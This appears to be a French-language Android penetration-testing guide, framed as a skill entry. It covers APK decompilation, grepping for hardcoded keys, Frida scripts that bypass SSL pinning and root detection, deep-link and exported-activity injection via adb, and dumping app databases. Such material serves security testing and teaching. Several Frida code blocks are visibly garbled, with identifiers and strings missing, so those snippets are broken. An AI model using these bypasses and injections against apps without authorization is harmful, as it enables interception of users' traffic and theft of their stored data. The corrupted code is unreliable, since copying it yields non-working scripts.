mobile-pentesting-android

name	mobile-pentesting-android
description	Guide complet de pentest Android — APK reverse engineering, Frida, Objection, SSL pinning bypass, root detection, dynamic analysis
category	cybersecurite

Mobile Pentesting Android — Guide Avancé

Configuration de l'Environnement

Émulateur Android

# Android Studio — AVD Manager
# ou Genymotion pour Android plus custom
# Préférer un device avec Google Play (image récente)

# Créer un AVD en CLI
avdmanager create avd -n Pixel6_API33 -k "system-images;android-33;google_apis;x86_64"

# Lancer l'émulateur
emulator -avd Pixel6_API33 -writable-system -no-snapshot -qemu -enable-kvm

# Alternative: adb connect device physique
adb devices
adb connect 192.168.1.10:5555

Installation des Outils

# ADB (Android Debug Bridge)
# Déjà dans platform-tools

# Frida
pip install frida-tools
pip install objection

# APK Tools
apt install apktool jadx dex2jar
pip install androguard

# Network interception
# BurpSuite ou mitmproxy sur l'hôte
# Proxy → émulateur
adb shell settings put global http_proxy 192.168.1.100:8080

# Installer le cert Burp sur le device
adb push burp-ca.der /sdcard/
adb shell su -c "mount -o remount,rw /system"
adb shell su -c "cp /sdcard/burp-ca.der /system/etc/security/cacerts/9a5ba580.0"
adb shell su -c "chmod 644 /system/etc/security/cacerts/9a5ba580.0"
adb shell su -c "reboot"

Reverse Engineering d'APK

Extraction et Décompilation

# Étape 1: Obtenir l'APK
# Depuis Google Play: APK Downloader, APKPure
# Depuis le device: adb shell pm list packages
adb shell pm path com.target.app
adb pull /data/app/com.target.app-*/base.apk

# Étape 2: Décompiler avec JADX
jadx-gui base.apk

# Étape 3: Apktool pour les ressources et smali
apktool d base.apk -o app_smali/

# Étape 4: Converter DEX en JAR
d2j-dex2jar base.apk -o app.jar

# Étape 5: Analyser avec jadx en CLI
jadx base.apk -d app_java/

Analyse Statique

Recherche de secrets:

# API keys, tokens, passwords hardcodés
grep -r "api_key\|apikey\|API_KEY\|secret\|password\|token" app_java/ | grep -v ".class"

# URLs et endpoints
grep -r "https\?://" app_java/ | sort -u
grep -r "\.com\|\.net\|\.io" app_java/ | sort -u

# AWS keys pattern
grep -r "AKIA[0-9A-Z]*" app_java/
grep -r "-----BEGIN RSA PRIVATE KEY-----" app_java/

Analyse du AndroidManifest.xml:

# Déclarations d'exported activities/services/receivers
apktool d base.apk && cat AndroidManifest.xml | grep "android:exported"

# Permissions excessives
grep "uses-permission" AndroidManifest.xml

# Backup flag
grep "android:allowBackup" AndroidManifest.xml

# Debuggable
grep "android:debuggable" AndroidManifest.xml

# Deep links / URL schemes
grep "android:scheme" AndroidManifest.xml

SSL Pinning Bypass

Frida — Universal SSL Unpin

// frida-ssl-unpin.js
Java.perform(function() {
    // Bypass CertificateFactory
    var CertificateFactory = Java.use('java.security.cert.CertificateFactory');
    CertificateFactory.getInstance.overload('java.lang.String').implementation = function(type) {
        console.log('[+] CertificateFactory.getInstance called: ' + type);
        return this.getInstance.call(this, type);
    };

    // Bypass TrustManager
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function(untrusted, trustAnchor, chain) {
        return untrusted;
    };

    // Bypass HostnameVerifier
    var HostnameVerifier = Java.use();
    .. = () {
        .( + hostname);
         ;
    };

    
      = .();
    ..(, ). = () {
         ..(, host, port);
    };

    
     {
          = .();
        ..(, ). = () {
            .( + hostname);
        };
    } (e) { .(); }
});

Objection — SSL Pinning Bypass Automatique

# Objection — SSL Pinning disable
objection -g com.target.app explore
objection> android sslpinning disable

# Multi-bypass
objection> android sslpinning list

Frida Multi-Unpin Script

# Utiliser le script universel
frida -U -l frida-multi-unpin.js -f com.target.app --no-pause

# Avec frida-gadget (si app non-root)
# 1. Décompiler avec apktool
# 2. Ajouter frida-gadget.so dans lib/
# 3. Ajouter le permission INTERNET dans manifest
# 4. Rebuild et resigner
apktool d base.apk
cp /usr/lib/frida/frida-gadget-*.so ./lib/x86_64/
echo "interact" > lib/x86_64/frida-gadget.config.so
apktool b app/ -o patched.apk
jarsigner -keystore my.keystore patched.apk alias
adb install patched.apk

Root Detection Bypass

Methodes de détection communes

# Vérification: build.prop
grep -r "ro.build.tags\|secure\|build.prop" app_java/
grep -r "su\|magisk\|superuser" app_java/
grep -r "test-keys" app_java/

# Native root detection (so fichiers)
strings lib/armeabi-v7a/libnative.so | grep -i "su\|root"

Frida — Root Detection Bypass

// Bypass RootBeer
Java.perform(function() {
    var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
    RootBeer.isRooted.implementation = function() {
        console.log('[+] RootBeer bypassed');
        return false;
    };

    // Generic su file check
    var File = Java.use('java.io.File');
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        if (path.toLowerCase().contains('su') ||
            path.toLowerCase().contains('magisk') ||
            path.toLowerCase().contains('busybox')) {
            console.log('[+] Blocked file check: ' + path);
            return false;
        }
        return ..();
    };

    
      = .();
    ..(). = () {
         ( i = ; i < cmdarray.; i++) {
             (cmdarray[i].().() ||
                cmdarray[i].().()) {
                .( + cmdarray[i]);
                 ;
            }
        }
         ..(, cmdarray);
    };
});

Analyse Dynamique

Network Monitoring

# mitmproxy
mitmproxy -p 8080 --mode transparent

# tcpdump sur le device (root)
adb shell su -c "tcpdump -i any -s 0 -w /sdcard/capture.pcap"
adb pull /sdcard/capture.pcap

# Frida — dump network calls
frida -U -l network-dump.js com.target.app

Filesystem Analysis

# Shared Preferences
adb shell
run-as com.target.app
cat /data/data/com.target.app/shared_prefs/*.xml

# Databases
adb shell run-as com.target.app sqlite3 databases/app.db ".tables"
adb shell run-as com.target.app sqlite3 databases/app.db "SELECT * FROM accounts;"

# Cache files
adb shell ls -la /data/data/com.target.app/cache/

# WebView cache
adb shell ls -la /data/data/com.target.app/app_webview/

Intent Spoofing / Deep Links

# Deep link injection (si android:autoVerify="true" pas défini)
adb shell am start -a android.intent.action.VIEW -d "customscheme://reset_password?token=INJECTED"

# Activity exportée
adb shell am start -n com.target.app/.activities.AdminActivity

# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_RESET -n com.target.app/.receivers.ResetReceiver

Frida Hooking Avancé

Cryptographic operations:

Java.perform(function() {
    var Cipher = Java.use('javax.crypto.Cipher');
    Cipher.doFinal.overload('[B').implementation = function(input) {
        console.log('[+] Cipher.doFinal called');
        console.log(hexdump(input));
        return this.doFinal.call(this, input);
    };

    var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');
    SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(key, algo) {
        console.log('[+] SecretKeySpec: ' + algo);
        console.log('Key: ' + bytesToHex(key));
        return this.$init.(, key, algo);
    };
});

Outils Essentiels

Outil	Description
Frida	Dynamic instrumentation framework
Objection	Mobile exploration tool (Frida-based)
JADX	DEX to Java decompiler
APKTool	APK reverse engineering tool
AndroGuard	Static/dynamic analysis
MobSF	Mobile Security Framework (automated)
Drozer	Android security assessment
RMS (Runtime Mobile Security)	Frida-based runtime security
Inspeckage	Dynamic analysis tool

MobSF — Analyse Automatisée

# Installer MobSF
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF
cd Mobile-Security-Framework-MobSF
./setup.sh

# Analyser APK
./run.sh  # puis upload APK sur http://localhost:8000

# API MobSF
curl -F "file=@base.apk" http://localhost:8000/api/v1/upload
curl http://localhost:8000/api/v1/scan/<HASH>

Checklist Pentest Android

1. APK reverse engineering (jadx, apktool)
2. Analyse manifest (exported components, permissions)
3. Hardcoded secrets (API keys, tokens)
4. SSL pinning bypass
5. Root detection bypass
6. Data storage analysis (SQLite, SharedPrefs)
7. Network traffic interception
8. Intent injection / deep links
9. WebView vulnerabilities
10. Insecure random number generation
11. Weak cryptography
12. Tapjacking / Overlay attacks
13. Backup exploitation (adb backup)
14. Frida hooking for auth bypass
15. Drozer attack surface assessment

Ressources

• HackTricks Android: https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/index.html
• Frida CodeShare: https://codeshare.frida.re/
• MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF
• Drozer: https://labs.f-secure.com/tools/drozer/
• Objection: https://github.com/sensepost/objection
• PayLoadsAllTheThings Mobile: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Mobile%20Security